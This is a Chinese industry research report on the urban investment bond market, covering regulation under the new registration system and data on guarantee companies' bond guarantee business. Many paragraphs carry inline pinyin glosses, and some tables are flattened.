一定发平台

城投债市场及担保公司相关业务开展情况专题报告

发布时间:2020-09-30 点击量:169 作者:战略研究部—孙坚

随着《关于企业债券发行实施注册制有关事项的通知》《关于公开发行公司债券实施注册制有关事项的通知》等文件的发布,各类城投债产品全面进入注册制时代。作为担保公司资本市场业务主要业务品种,本文对城投企业发行企业债、公司债和债务融资工具等城投债产品监管要求进行了梳理1,并通过同花顺公开数据信息,对担保公司在城投债业务的开展数据进行了汇总分析。

一、城投债市场概述

(一)城投平台产生原因及定义

城(cheng)(cheng)投平台做为特定历(li)史时期的产(chan)物,产(chan)生(sheng)的主(zhu)要原因是(shi)1994年分税制改革导致地(di)(di)(di)方财政(zheng)收入(ru)占(zhan)比下降,而基建(jian)投资(zi)等支出压力主(zhu)要集中(zhong)于(yu)地(di)(di)(di)方财政(zheng),且此前预算法限制地(di)(di)(di)方政(zheng)府举(ju)(ju)债,最终(zhong)出现(xian)了(le)依靠(kao)地(di)(di)(di)方政(zheng)府隐性支持来融资(zi)的城(cheng)(cheng)投平台。2015年新《预算法》实施后为地(di)(di)(di)方政(zheng)府新增直接(jie)举(ju)(ju)债提(ti)供了(le)道路(lu),城(cheng)(cheng)投企业需(xu)要进行(xing)市场化转型,但(dan)庞大的存量隐性债务规(gui)模使得城(cheng)(cheng)投再融资(zi)不能直接(jie)切断。

目前,市场对于城投平台的定义尚无统一标准,也无官方权威定义。国务院、发改委、原银监会、财政部和审计署等部门的相关文件中均有涉及到融资平台的定义,但表述通常较为宽泛,口径上也不尽相同。其中2010年6月10日《国务院关于加强地方政府融资平台公司管理有关问题的通知》(“国发[2010]19号文”)中将地方政府融资平台(城投平台)定义为“指由地方政府及其部门和机构等通过财政拨款或注入土地、股权等资产设立,承担政府投资项目融资功能,并拥有独立法人资格的经济实体”,虽然在财政部发布的不同文件中对城投平台的定义略有不同,但把握住“为地方政府融资”这一核心就抓住了识别城投平台的要点。

市场对于城投平台的分类口径主要有三类;

一是银保监会口径。国发[2010]19号文发布后,出于管控地方政府隐性债务的需要,银监会开始对城投平台实行“名单制”管理。根据银监发[2011]34号文,银监会要求各银行建立“名单制”信息管理系统,按季度将名单报当地监管部门确认。此后,银监发[2012]12号文对城投平台按照“现金流覆盖贷款本息”等原则进行了分类,并安排了平台退出名单机制。但在业务开展实践中发现,银监会名单所涵盖的城投企业数量明显偏少

二是中债登口径。中债登统计的城投债包括地方政府投融资平台公司(由地方政府及其部门和机构等通过财政拨款或注入土地、股权等资产设立,从事政府指定或委托的公益性或准公益性项目的融资、投资、建设和运营,拥有独立法人资格的经济实体)发行的债券,包括企业债、公司债、中期票据、短期融资券、非公开定向融资工具(PPN)等。据了解,wind、同花顺等信息服务商对于城投债的分类标准多是基于中债登分类调整而形成。本文后续对于城投债市场分析的数据源于同花顺的城投债分类,但同样存在分类口径较小的问题,主要原因在于部分非银监会名单内城投企业或承担供排水、供热等公用事业业务的城投公司发行的公司债或银行间产品,未被纳入城投债统计范围。

三是中金等金融机构。以中金公司为例,主要参考企业经营业务是否具备显著的公益性属性划分城投:典型的强城投属性企业从事的主要业务为:①基础设施代建,可能涉及市政、交通、民生、旅游等多个领域,比如公路、医院、学校、体育馆、景区等公益性项目,范围相对广泛,基础设施项目代建被认为是城投企业最典型的代表性业务;②土地一级开发及整理,此类企业针对各类新城区、开发区、高新区等(如高铁新城、老市区拓展新建城区等,但不一定按照市辖区行政区划),主要分布在现状建成区之外,部分企业可能因处于区域建设初期而只具备较小的规模,位于较成熟区域的企业可能兼做区域内厂房、写字楼等建筑的出租运营业务(尤指园区内部);③保障房建设,体现在棚户区改造、异地扶贫安置等多种形式的民生工程,涵盖前期的动迁及后期的建设等多个环节,往往会与商品房建设并行,部分区域存在保障房建设的专业化平台,但大多数城投企业是兼做保障房建设业务。部分城投企业也承担当地公用事业建设及运营职能,或作为当地国有资产运营主体存在,但对于完全没有上述几类强公益性属性业务的企业,中金公司可能视其业务属性分别归入公用事业(如供排水、供热、供气等)、综合投资(产业类控股平台)、金融(金融类控股平台)等不同行业,并不视为城投企业。

(二)城投债分类历史发行情况

广义(yi)的(de)城投债(zhai)包括企业债(zhai)、公司债(zhai)、中期(qi)(qi)票据、短期(qi)(qi)融资券、非公开(kai)定(ding)向融资工具(PPN)等品种。各类债(zhai)券的(de)主(zhu)要特(te)点(dian)如下表。

品种

监管机构

审批制度

交易场所

产品期限

是否公开发行

特殊条款设置

企业(ye)债

发改(gai)委

注册制(中债登和交易商协会(hui))

银行间市场、交易所

以7年为主,各类专(zhuan)项债(zhai)期限设置更灵活(huo)

除项目(mu)收益债和绿色债外,主(zhu)要(yao)是公开发行

设置分期还款,如(ru)从第三(san)年末(mo)开始分期还款

公司债(zhai)

证监会

注册制(交(jiao)易(yi)所)

交易所

中长期为(wei)主,3-5年居多

公募、私募发(fa)行

设置M+N期限(一(yi)般(ban)M大(da)于(yu)等于(yu)N);设置调(diao)整(zheng)票(piao)面利率(lv)条款(kuan)及时点回售和赎回条款(kuan)

债务融资工(gong)具

短期融资(zi)券

人(ren)行

注册制(交易(yi)商协会)

银行(xing)间(jian)市场(chang)

 

 

1年以内

公开发行(xing)

 

中期票(piao)据(ju)

中长(zhang)期为主, 5-10年居多

公开发(fa)行

 

PPN

3年以下居多(duo)

私募发行

 

 

随着《关于公开发行公司债券实施注册制有关事项的通知》和《关于企业债券发行实施注册制有关事项的通知》的发布,目前,企业债、公司债和银行间产品均进入注册制模式,注册制下,简化了发行流程,降低了对发债主体“最低公司净资产”“累计债券余额不超过公司净资产的百分之四十”等条件的限制,但强化了信息披露的要求,强化了对债券发行相关方责任的要求。从三个监管部门的历史监管思路上看,各自的着重点有所不同,其中发改委的核心监管逻辑就是“控投向”,主要体现:一是要求“不少于50%的募集资金必须用于规定资产投资项目”,二是“推出各类专项债券引导募集资金投向”;交易商协会的核心逻辑则是基于现金流来源的分类监管,根据过去三年及未来五年来自于财政资金的现金流是否超过50%,将政府平台进行分类,若偿债依赖于政府,重点关注平台行政级别,所在地方政府债务率不超过150%,风险预警体系中高度风险预警少于3条、汇总风险预警指标不得超过5条等标准;而交易所则是“控主体”,要求发行人应当是退出类或未纳入银监会平台名单,以及过去两年来源政府的现金流收入小于50%。

从(cong)城(cheng)投(tou)债(zhai)(zhai)发行市场看,2014年之前,企业(ye)(ye)债(zhai)(zhai)是城(cheng)投(tou)债(zhai)(zhai)的主要品(pin)种,2015年以(yi)来(lai)(lai),随着交(jiao)易所和(he)银行间对(dui)于(yu)城(cheng)投(tou)企业(ye)(ye)融资(zi)(zi)的放开,公司(si)债(zhai)(zhai)和(he)中期票据等产品(pin)逐(zhu)步超越(yue)企业(ye)(ye)债(zhai)(zhai),成为城(cheng)投(tou)企业(ye)(ye)重要的融资(zi)(zi)渠道(dao)。下图显示了2010年以(yi)来(lai)(lai),城(cheng)投(tou)债(zhai)(zhai)发行情况(kuang)。后文第二(er)至(zhi)第四部分(fen)将分(fen)别就企业(ye)(ye)债(zhai)(zhai)、公司(si)债(zhai)(zhai)和(he)各类(lei)债(zhai)(zhai)务(wu)融资(zi)(zi)工(gong)具做具体分(fen)析。

(三)城投债地方政府债券辨析

与城投债(zhai)(zhai)(zhai)较(jiao)为相(xiang)近的(de)(de)一类债(zhai)(zhai)(zhai)券是地方政府(fu)债(zhai)(zhai)(zhai)券,但两者有(you)着显著的(de)(de)不同,地方政府(fu)债(zhai)(zhai)(zhai)券发(fa)债(zhai)(zhai)(zhai)主(zhu)体是地方政府(fu),体现的(de)(de)是地方政府(fu)的(de)(de)信用,债(zhai)(zhai)(zhai)券发(fa)行无(wu)需(xu)设置外部增(zeng)信措施;城投债(zhai)(zhai)(zhai)是城投平台为发(fa)债(zhai)(zhai)(zhai)主(zhu)体,是目前担保公司资本(ben)市(shi)场业务(wu)开(kai)展的(de)(de)主(zhu)要业务(wu)品种。

2014年以前,我国地方政府债券先后经历了财政部“代发代还”,试点省(市)“自发代还”,试点省(市)“自发自还”三个发展历程。2015年1月1日起施行的《预算法》规定,经国务院批准的省、自治区、直辖市的预算中必需的建设投资的部分资金,可以在国务院确定的限额内,通过发行地方政府债券举借债务的方式筹措,从而正式开启了地方政府全面“自发自还”的发展历程。2015年3月、4月财政部先后印发《地方政府一般债券发行管理办法》、《地方政府专项债券发行管理办法》,确立了地方政府债券由各地按照市场化原则自发自还,发行主体和偿还主体均为地方政府。没有收益的公益性事业发展确需政府举借一般债务的,由地方政府发行一般债券融资,主要以一般公共预算收入偿还;有一定收益的公益性事业发展确需政府举借专项债务的,由地方政府发行专项债券融资,以对应的政府性基金或专项收入偿还。

地方政府债券的发行主体是地方政府,与地方城投平台发行的城投债有着本质的区别,但经过几年的发展,地方政府债券尤其是专项债已成为地方政府基建项目融资的重要渠道。自地方债置换工作基本完成后,2019年以来的新增专项债发行规模明显提高,而城投平台作为地方政府投融资建设的重要主体,会承接一部分专项债项目的建设,从而获得专项债资金,在业务的选择上,可以重点关注能承接政府专项债募投项目的城投平台以及募集资金是用于政府专项债募投项目的城投债:每只地方政府专项债的《法律意见书》中会披露具体项目的承建单位,从中可以看到哪些城投承接了专项债的募投项目建设,通过地方政府专项债的《财务评估报告》及《信用评级报告》,可整理出专项债项目的总投资额、资本金、拟使用专项债总额、拟使用本期专项债金额,通过以上信息可以判断拟合作的城投企业是否承接专项债项目及承接项目的金额。以上专项债的信息可以根据专项债代码在同花顺系统中搜索,详细资料界面的公告栏目中会披露,或通过“中国债券信息网”查询对应地方债信息披露文件。

城投企业债发行要求汇总

(一) 注册制对城投企业债影响

企业债券是国内债券市场最早诞生的品种,自2003年由国家发改委接管,尤其是2008年简化发行核准程序后进入高速发展期,成为国内信用债市场的主力,也是城投平台主要的融资渠道。随着2015年证监会发布《公司债券发行与交易管理办法》,公司债券放开了非上市公司主体限制,企业债券的市场占有率受到挤压。2020年3月,国家发改委发布《关于企业债券发行实施注册制有关事项的通知》(简称《通知》),明确企业债券发行由核准制改为注册制

“核准制”下的企业债监管的要义是对债券发行设置了“硬要求”,注册制则确立了以信息披露为中心的监管理念。与此同时,发改委并未放松企业债券领域的风险防控,注册制监管理念的核心是信息披露:发行人应遵循真实、准确、完整、及时、公平的原则,进行信息披露;中介机构应对债券发行人进行充分的尽职调查,协助做好信息披露等工作;省级发改部门需要审核募投项目的合法合规性。此外,《通知》要求,债券募集资金用于固定资产投资项目的,省级发改部门应对募投项目出具符合国家宏观调控政策、固定资产投资管理法规制度和产业政策的专项意见,并承担相应责任。还要通过项目筛查、风险排查、监督检查等方式,做好区域内企业债券监管工作,防范化解企业债券领域风险。

(二)专项城投企业债梳理

为满足市场多(duo)样化(hua)(hua)的(de)(de)(de)(de)需(xu)求(qiu),在(zai)(zai)2016年至2020年期(qi)间,发(fa)改委推出(chu)了(le)多(duo)种(zhong)(zhong)形式的(de)(de)(de)(de)创新型债(zhai)券(quan)(quan)品种(zhong)(zhong),除需(xu)符(fu)合法律法规(gui)对企业(ye)债(zhai)发(fa)行(xing)(xing)(xing)的(de)(de)(de)(de)相关(guan)总体(ti)要求(qiu)外(wai),各类专(zhuan)项债(zhai)券(quan)(quan)的(de)(de)(de)(de)发(fa)行(xing)(xing)(xing)还需(xu)遵循相关(guan)专(zhuan)项指引和规(gui)定。企业(ye)债(zhai)发(fa)行(xing)(xing)(xing)由核准制变更为注册制后,企业(ye)债(zhai)券(quan)(quan)的(de)(de)(de)(de)发(fa)行(xing)(xing)(xing)程(cheng)序已得到(dao)相当程(cheng)度的(de)(de)(de)(de)优(you)化(hua)(hua)。在(zai)(zai)此基础上(shang),各类专(zhuan)项企业(ye)债(zhai)券(quan)(quan)除能够享受注册制下优(you)化(hua)(hua)后的(de)(de)(de)(de)企业(ye)债(zhai)券(quan)(quan)发(fa)行(xing)(xing)(xing)程(cheng)序外(wai),还将继续享受各自(zi)专(zhuan)项企业(ye)债(zhai)券(quan)(quan)专(zhuan)门规(gui)定本(ben)身所带来(lai)的(de)(de)(de)(de)优(you)势,主要体(ti)现在(zai)(zai)审核节(jie)奏(zou)、募集(ji)资金(jin)用途等方面的(de)(de)(de)(de)政策支持。附件总结(jie)了(le)各专(zhuan)项企业(ye)债(zhai)的(de)(de)(de)(de)特点。

县城新型城镇化建设专项企业债券作为注册制改革后的首个专项债产品,延续了发改委对企业债“控投向”的思路,在募集资金用途方面,主要用于县城(含县级市城区)建设项目,符合《国家发展改革委关于加快开展县城城镇化补短板强弱项工作的通知》(发改规划〔2020〕831号)的单体项目或综合性项目,均可作为本专项债券支持方向。在募集资金用途方面,在偿债保障措施完善的前提下,允许使用不超过50%的债券募集资金用于补充营运资金;用于项目建设部分的募集资金,可偿还前期已直接用于募投项目建设的银行贷款。此外,要求募投项目应为市场化自主经营、且可产生稳定持续的经营性现金流的项目。在偿债资金来源方面,要求以募投项目未来经营收入作为主要偿债来源,并提出对已安排中央预算内投资和地方政府专项债券等资金的项目,优先支持项目实施主体发行企业债券,以支持募投项目资金的足额到位

2015年以来(lai),市场累计(ji)发(fa)行各类(lei)专(zhuan)(zhuan)项(xiang)债(zhai)291只,合计(ji)募(mu)集资(zi)(zi)金2876.19亿元(yuan)。从产品类(lei)型上看,停车(che)场专(zhuan)(zhuan)项(xiang)债(zhai)发(fa)行只数最(zui)多(duo),合计(ji)137只,募(mu)集资(zi)(zi)金1466.09亿元(yuan),地下(xia)管(guan)廊(lang)专(zhuan)(zhuan)项(xiang)债(zhai)发(fa)行70只,募(mu)集资(zi)(zi)金639.4亿元(yuan),双创孵化专(zhuan)(zhuan)项(xiang)债(zhai)40只,合计(ji)募(mu)集资(zi)(zi)金416.1亿元(yuan)。而(er)绿色债(zhai)、PPP项(xiang)目(mu)、农村产业(ye)(ye)融合和新兴产业(ye)(ye)专(zhuan)(zhuan)项(xiang)债(zhai),城投(tou)企业(ye)(ye)较少涉及。

从担(dan)(dan)保(bao)(bao)公司参与产(chan)品情况看(kan),合计有18家担(dan)(dan)保(bao)(bao)公司为80只(zhi)专项债提供增信,其中重庆兴农(nong)担(dan)(dan)保(bao)(bao)参与23只(zhi),江苏再担(dan)(dan)保(bao)(bao)和(he)中合担(dan)(dan)保(bao)(bao)分别参与9只(zhi)和(he)8只(zhi)。

(三)项目收益债

项目收益(yi)债券(quan)(quan)(quan)是由非金融(rong)企(qi)(qi)业发行、以(yi)募投项目预期(qi)产(chan)生的(de)现金流作(zuo)为主要偿(chang)债来源(yuan)的(de)一类债务(wu)融(rong)资(zi)工(gong)具。2015年3月发改委发布《项目收益(yi)债券(quan)(quan)(quan)业务(wu)指引》(简(jian)称(cheng)《指引》),对企(qi)(qi)业发行项目收益(yi)债券(quan)(quan)(quan)的(de)相关细则进行明(ming)确规范。项目收益(yi)债与(yu)传统的(de)企(qi)(qi)业债有以(yi)下主要区别(bie):

一是发行主体的差异。较之传统企业债,项目收益债对发行主体的限制相对较少,只要项目公司拥有符合国家产业政策且产生稳定现金流的项目即可。同时提出“负面清单”概念,“不支持自身没有任何盈利能力,单纯依赖财政补贴建设、运营的项目发行项目收益债”。

二是资金用途的差异。项目收益债的资金用途较企业债更为严格。根据《指引》要求,“发行项目收益债券募集的资金,只能用于该项目建设和运营,不得置换项目资本金或偿还与项目有关的其他债务,也不得用于其他用途”。因此,项目收益债的“账户设置”也较复杂,包括债券募集资金专户、项目收入归集专户、偿债基金专户,分别存放项目收益债的募集资金、项目收入资金和项目收益债券还本付息资金。

三是评级的差异。企业债评级主要看主体评级,而项目收益债更关注债项评级。债项评级主要根据两点:(1)根据募投项目的综合收益;(2)项目增信措施,为保障债券的发行,往往也设置了“差额补偿协议”与“外部担保”等增信措施。

四是还本付息方式的差异。企业债采用一次还本付息或从第三年起均摊还本,而项目收益债的还本结构主要与项目的现金流收入结构相匹配。

在前述专项债中,发改委鼓励对地下综合管廊、停车场等专项债采取项目收益债的形式,一定程度上弱化了发债对融资主体的要求,且属于鼓励类产品,也加速了相关专项债的发行。此外,在发行方式上,目前,企业债中只有项目收益债和绿色债可以采取私募的方式发行,其他企业债均是公开发行。

项目收益债的设计与评估方法与资产证券化有较大的相似性,但也各有侧重。项目收益债的投资标的主要是在建或拟建项目,企业资产证券化主要针对竣工后的基础资产。从现金流的状态来说,项目收益债相关的项目当期可以没有现金流,而资产证券化是需要当前已产生现金流。因此,项目收益债的偿债资金来源于项目建成后的未来收益,对现有债权人的利益不构成影响。

目(mu)前,已经(jing)发行的(de)131只(zhi)项(xiang)(xiang)(xiang)目(mu)收益债(zhai)中(zhong)有101只(zhi)采(cai)取私募发行的(de)方(fang)式(shi)。募投项(xiang)(xiang)(xiang)目(mu)投向(xiang)主要集(ji)中(zhong)于棚户区改造、园区建(jian)设(she)(含(han)双创孵化)、停车(che)场项(xiang)(xiang)(xiang)目(mu)三个方(fang)向(xiang),分别发行了50只(zhi)、21只(zhi)和19只(zhi)。有52只(zhi)债(zhai)券设(she)置(zhi)了第三方(fang)担(dan)(dan)保(bao)(bao),其(qi)中(zhong)专业担(dan)(dan)保(bao)(bao)公(gong)司参(can)(can)与(yu)了17只(zhi),其(qi)中(zhong)四川(chuan)发展担(dan)(dan)保(bao)(bao)参(can)(can)与(yu)5只(zhi),全(quan)部为四川(chuan)省内(nei)项(xiang)(xiang)(xiang)目(mu)、中(zhong)合(he)担(dan)(dan)保(bao)(bao)参(can)(can)与(yu)4只(zhi)、湖(hu)北担(dan)(dan)保(bao)(bao)参(can)(can)与(yu)2只(zhi),中(zhong)投保(bao)(bao)、江苏再担(dan)(dan)保(bao)(bao)、重庆兴农、东(dong)创担(dan)(dan)保(bao)(bao)、瀚华担(dan)(dan)保(bao)(bao)、天府(fu)增(zeng)信各自参(can)(can)与(yu)1只(zhi)。

城投公司债发行要求汇总

(一)监管思路

2015年1月,证监会发布《公司债券发行与交易管理办法》,其中第六十九条明确规定发行人不包括地方政府融资平台,但在实际操作中,证监会对已经退出银监会平台的类平台公司有所放松,并于2015年7月底制定了相应的甄别标准,有以下两种情形的发行人不得发行公司债券:一是被列入银监会地方政府融资平台名单(监管类);二是最近三年(非公开发行的为最近两年)来自所属地方政府的现金流入与发行人经营活动现金流入占比平均超过50%,且最近三年(非公开发行的为最近两年)来自所属地方政府的收入与营业收入占比平均超过50%(即“双50%”的标准)。2016年9月2日,“双50%”标准改为“单50%”标准:将“双50%”(最近三年政府的现金流入及所属地方政府的收入占比均超过50%)调整为“单50%”(所属地方政府的收入超过50%);同时调整了指标计算方法,除可采取报告期内各年度政府收入占比的算数平均值外,也可采取“加权平均法”(各年度源自地方政府的收入总额/各年度营业收入总额)。这一个指标的调整,从监管角度而言,一是上调门槛,防范地方政府债务风险,进一步规范公司债券市场发展,二是因为现金流指标容易被粉饰、被人为调整。

(一) 注册制下公司债发行要求

2020年(nian)8月(yue),证监会发(fa)布《公(gong)司债(zhai)券(quan)发(fa)行与交(jiao)易(yi)管理(li)办(ban)法(fa)》(征求(qiu)意见稿),对(dui)2015年(nian)发(fa)布的(de)《公(gong)司债(zhai)券(quan)发(fa)行与交(jiao)易(yi)管理(li)办(ban)法(fa)》进行修订。主要内容包括:

1.发行条件放松监管向事中、事后转移。一是公开发行公司债发行指标放松。包括基本条件取消净资产、债券余额和发行利率的定量限制,取消大公募AAA债项级别要求,公司债发行的禁止条件有所减少,删除了对欺诈发行和财务造假等重大违法行为,删除公开发行公司债对评级的要求。二是风险管理由事前转向事中、事后,强化承销商责任。三是修订交易场所。删去了机构间私募产品报价与服务系统,同时加强交易场所相关责任,统一交易所公司债登记结算业务管理。四是调整公司债募集资金用途。明确公开发行公司债券筹集的资金,不得用于弥补亏损和非生产性支出。同时删除“除金融类企业外,募集资金不得转借他人”。

2.投资者类别重命名,实行分类发行管理。将投资者划分为专业投资者和普通投资者,其中专业投资者主要参考中国证监会相关规定。配套投资者适当性管理,实施差异化的管理机制,建立相应的投资者适当性管理制度。

3.优化注册程序。证券交易所负责审核发行人公开发行公司债券并上市申请,主要通过向发行人提出审核问询、发行人回答问题方式开展审核工作。证券交易所应当自受理注册申请文件之日起2个月内出具审核意见,中国证监会应当自证券交易所受理注册申请文件之日起3个月内作出同意注册或者不予注册的决定。

4.强化债券持有人利益保护。一是分类明确受托管理人。其中,公开发行公司债券的,发行人应当为债券持有人聘请债券受托管理人,并订立债券受托管理协议;非公开发行公司债券的,发行人应当在募集说明书中约定债券受托管理事项。二是强化持有人会议和募集说明书的地位。三是强化发行人关联方的职责和处罚。

在此次修订中,未明确否认地方融资平台的发行主体资格,但强调发行公司债券,应当符合地方政府性债务管理的相关规定,不得新增政府债务

、城投企业债务融资工具发行要求汇总

(一)监管思路

2008年10月,交易(yi)商(shang)协会制(zhi)定“六(liu)真(zhen)(zhen)(zhen)”原则,是(shi)(shi)指“真(zhen)(zhen)(zhen)公(gong)(gong)司(si)、真(zhen)(zhen)(zhen)资产(chan)、真(zhen)(zhen)(zhen)项目(mu)(mu)、真(zhen)(zhen)(zhen)支(zhi)持、真(zhen)(zhen)(zhen)偿债(zhai)(zhai)、真(zhen)(zhen)(zhen)现(xian)金(jin)(jin)(jin)流(liu)”六(liu)原则,即:明(ming)确(que)要求申请企(qi)业(ye)(ye)不(bu)得为(wei)(wei)“空壳”公(gong)(gong)司(si),需(xu)内控(kong)完(wan)善(shan),业(ye)(ye)务经营(ying)和(he)公(gong)(gong)司(si)财务具(ju)(ju)(ju)有(you)独立(li)性;公(gong)(gong)司(si)资产(chan)必须(xu)存(cun)在能产(chan)生现(xian)金(jin)(jin)(jin)流(liu)和(he)利润并保(bao)证偿债(zhai)(zhai)的(de)经营(ying)性资产(chan),不(bu)能全(quan)(quan)部为(wei)(wei)公(gong)(gong)益性资产(chan);必须(xu)是(shi)(shi)公(gong)(gong)司(si)或下(xia)属(shu)子公(gong)(gong)司(si)正常经营(ying)的(de)项目(mu)(mu),要避免为(wei)(wei)融(rong)资而将(jiang)项目(mu)(mu)主业(ye)(ye)临时并入(ru)的(de)情况;政府(fu)具(ju)(ju)(ju)有(you)明(ming)确(que)的(de)支(zhi)持措(cuo)施,且(qie)措(cuo)施落实到(dao)位(wei);要有(you)明(ming)确(que)、可(ke)信的(de)偿债(zhai)(zhai)计划,具(ju)(ju)(ju)体体现(xian)为(wei)(wei)非经营(ying)性收入(ru)是(shi)(shi)否超过30%,地方(fang)政府(fu)债(zhai)(zhai)务率是(shi)(shi)否低(di)于(yu)100%;公(gong)(gong)司(si)必须(xu)有(you)稳定、真(zhen)(zhen)(zhen)实的(de)现(xian)金(jin)(jin)(jin)流(liu)。2012年3月,交易(yi)商(shang)协会对平台公(gong)(gong)司(si)发(fa)债(zhai)(zhai)还严格按(an)照银监会厘(li)定的(de)名(ming)单(dan)和(he)六(liu)真(zhen)(zhen)(zhen)原则,但到(dao)7月初,可(ke)发(fa)债(zhai)(zhai)平台的(de)名(ming)单(dan)放松为(wei)(wei)四类(lei),一是(shi)(shi)产(chan)业(ye)(ye)类(lei)公(gong)(gong)司(si),如从事高速公(gong)(gong)路、铁路行业(ye)(ye),有(you)真(zhen)(zhen)(zhen)实的(de)现(xian)金(jin)(jin)(jin)流(liu)入(ru);二是(shi)(shi)全(quan)(quan)民所有(you)制(zhi)企(qi)业(ye)(ye);三是(shi)(shi)从事保(bao)障房建设;四是(shi)(shi)国发(fa)19号文明(ming)确(que)允许(xu)融(rong)资的(de),如地铁、轨道交通(tong)等。交易(yi)商(shang)协会规(gui)定,这几类(lei)企(qi)业(ye)(ye)可(ke)以由主承销商(shang)预(yu)沟通(tong),在正式注册材料报送前与协会沟通(tong)情况。

2014年(nian)3月,交易商协会(hui)(hui)主承销(xiao)商会(hui)(hui)议(yi)上商定,拟对(dui)城投(tou)类企业(ye)所(suo)在地方(fang)的(de)行政(zheng)级(ji)别不进行限制,只(zhi)需符合六(liu)真原则,且需满足地方(fang)政(zheng)府(fu)级(ji)债务率不超过(guo)(guo)100%或负债率不超过(guo)(guo)60%,放开省级(ji)以下城投(tou)债类企业(ye)发债条(tiao)件。

(二)注册制下债务融资工具发行要求

2020年4月16日,银行(xing)(xing)间市场交(jiao)易商协会(hui)发(fa)(fa)布多条新规,包(bao)括《非(fei)金融企(qi)(qi)业债务融资工具(ju)公开(kai)发(fa)(fa)行(xing)(xing)注册工作规程(cheng)(2020版(ban))》(简称(cheng)《工作规程(cheng)(2020版(ban))》)及《非(fei)金融企(qi)(qi)业债务融资工具(ju)公开(kai)发(fa)(fa)行(xing)(xing)注册文件表格体系(2020版(ban))》(简称(cheng)《表格体系(2020版(ban))》)等制度,升级发(fa)(fa)行(xing)(xing)人分(fen)层分(fen)类机制,优化信(xin)息披露要求和注册发(fa)(fa)行(xing)(xing)流程(cheng)。主要内容在于:

1.完善了分层分类制度,将原来“两类”架构升级为“两层四类”。《工作规程(2020版)》将债务融资工具注册发行企业分为第一类、第二类、第三类、第四类企业,实行相应注册发行工作机制。其中,第一类和第二类为成熟层企业,第三类和第四类为基础层企业。依据分层分类管理安排,新规对成熟层企业的要求作出相应规定,不同行业的企业在资产总额、资产负债率、总资产报酬率等具体指标上略有差异。同时,成熟层中符合一定条件的划分为第一类,其他为第二类。不符合成熟层相关条件的则为基础层企业。从注册发行看,成熟层企业可就公开发行超短期融资券、短期融资券、中期票据、永续票据、资产支持票据、绿色债务融资工具等产品编制同一注册文件,进行统一注册,也可就公开发行各品种债务融资工具编制相应注册文件,按产品分别进行注册。基础层企业应就公开发行各品种债务融资工具编制相应注册文件,按产品分别进行注册。

2.优化信息披露要求。通过完善信息披露、明确约定风险及违约处置措施、提升募集说明书法律效力,进一步强化投资人保护。从注册流程看,债务融资工具实行注册预评和注册会议评议等注册流程,经预评的拟披露注册文件和预评报告提交注册会议。同时,交易商协会将以现场、非现场调查相结合的方式对注册(备案)完成后至债权债务关系成立前的发行相关文件进行调阅和评议。本次公布的新规整合发行前信息披露评议流程,明确对企业发行文件的事中事后评议,完善信息披露评议层次和方式,维护市场规范发展。同时,为进一步完善信息披露,本次发布的《表格体系(2020版)》充分平衡发行人披露成本与投资人信息充分获取关系,就注册文件清单、信息披露表格等作了系列优化。一是进一步加强个性化信息披露,募集说明书中新增“重要提示”章节,优化募集资金用途等信息披露要求,增加并购票据、企业涉及自律处分情形、“债券通”等信息披露子表格,完善针对不同情形和产品的要求,规范发行信息披露行为。二是新增募集说明书关于受托管理机制、风险及违约处置等相关披露安排,明确受托管理人权利义务,细化持有人会议机制披露要求。三是结合分层分类机制安排,规范不同类别企业信息披露要求,完善立体式、差异化的信息披露架构。

、担保公司参与城投债担保业务分析

同(tong)花顺数(shu)(shu)据显示,目前(qian),合(he)计有44家(jia)担(dan)保(bao)(bao)(bao)公(gong)司(si)为(wei)各类债(zhai)(zhai)(zhai)券(quan)的发(fa)行提供(gong)过(guo)担(dan)保(bao)(bao)(bao)服务。从业(ye)务开展(zhan)情况看,除(chu)深圳(zhen)高新投(tou)(tou)、深圳(zhen)担(dan)保(bao)(bao)(bao)和中关村担(dan)保(bao)(bao)(bao)等少数(shu)(shu)担(dan)保(bao)(bao)(bao)公(gong)司(si)外(wai),多数(shu)(shu)担(dan)保(bao)(bao)(bao)公(gong)司(si)的债(zhai)(zhai)(zhai)券(quan)担(dan)保(bao)(bao)(bao)业(ye)务均(jun)(jun)围绕城(cheng)投(tou)(tou)债(zhai)(zhai)(zhai)开展(zhan),其(qi)中安徽(hui)担(dan)保(bao)(bao)(bao)、瀚(han)华担(dan)保(bao)(bao)(bao)、湖南担(dan)保(bao)(bao)(bao)的债(zhai)(zhai)(zhai)券(quan)担(dan)保(bao)(bao)(bao)业(ye)务均(jun)(jun)为(wei)城(cheng)投(tou)(tou)债(zhai)(zhai)(zhai)担(dan)保(bao)(bao)(bao)。此(ci)外(wai),2019年以来(lai),多家(jia)担(dan)保(bao)(bao)(bao)公(gong)司(si)通过(guo)为(wei)城(cheng)投(tou)(tou)债(zhai)(zhai)(zhai)提供(gong)担(dan)保(bao)(bao)(bao)拓(tuo)展(zhan)资(zi)本(ben)市(shi)场(chang)业(ye)务,如湖北省内的东创担(dan)保(bao)(bao)(bao)、武汉信用2018年以来(lai)新增资(zi)本(ben)市(shi)场(chang)业(ye)务均(jun)(jun)为(wei)城(cheng)投(tou)(tou)债(zhai)(zhai)(zhai)担(dan)保(bao)(bao)(bao)业(ye)务。资(zi)本(ben)市(shi)场(chang)业(ye)务开展(zhan)前(qian)二十(担(dan)保(bao)(bao)(bao)债(zhai)(zhai)(zhai)券(quan)只(zhi)数(shu)(shu))担(dan)保(bao)(bao)(bao)公(gong)司(si)业(ye)务开展(zhan)情况见下(xia)图。

(一)担保公司城投债担保业务开展情况 

从主流(liu)AAA评级(ji)的担保公(gong)司开展(zhan)城投债担保业务情(qing)况(kuang)看,除中(zhong)债增进开展(zhan)中(zhong)票、短(duan)融等银行间业务较多外,其他AAA担保公(gong)司业务中(zhong)企(qi)业债担保均是主要业务品(pin)种。

随着城投公(gong)(gong)司融资品种的逐步多元(yuan)化(hua),部分担(dan)保(bao)(bao)公(gong)(gong)司以公(gong)(gong)司债(zhai)(zhai)为突破口拓展(zhan)债(zhai)(zhai)券担(dan)保(bao)(bao)业(ye)务(wu),如苏州再担(dan)保(bao)(bao)主体评级为AA+,在企业(ye)债(zhai)(zhai)市场(chang)竞争力相对较低,业(ye)务(wu)开展(zhan)过程中,以公(gong)(gong)司债(zhai)(zhai)担(dan)保(bao)(bao)业(ye)务(wu)为主,同时多数(shu)债(zhai)(zhai)券增加(jia)了当地最大城投平台的连(lian)带。

 

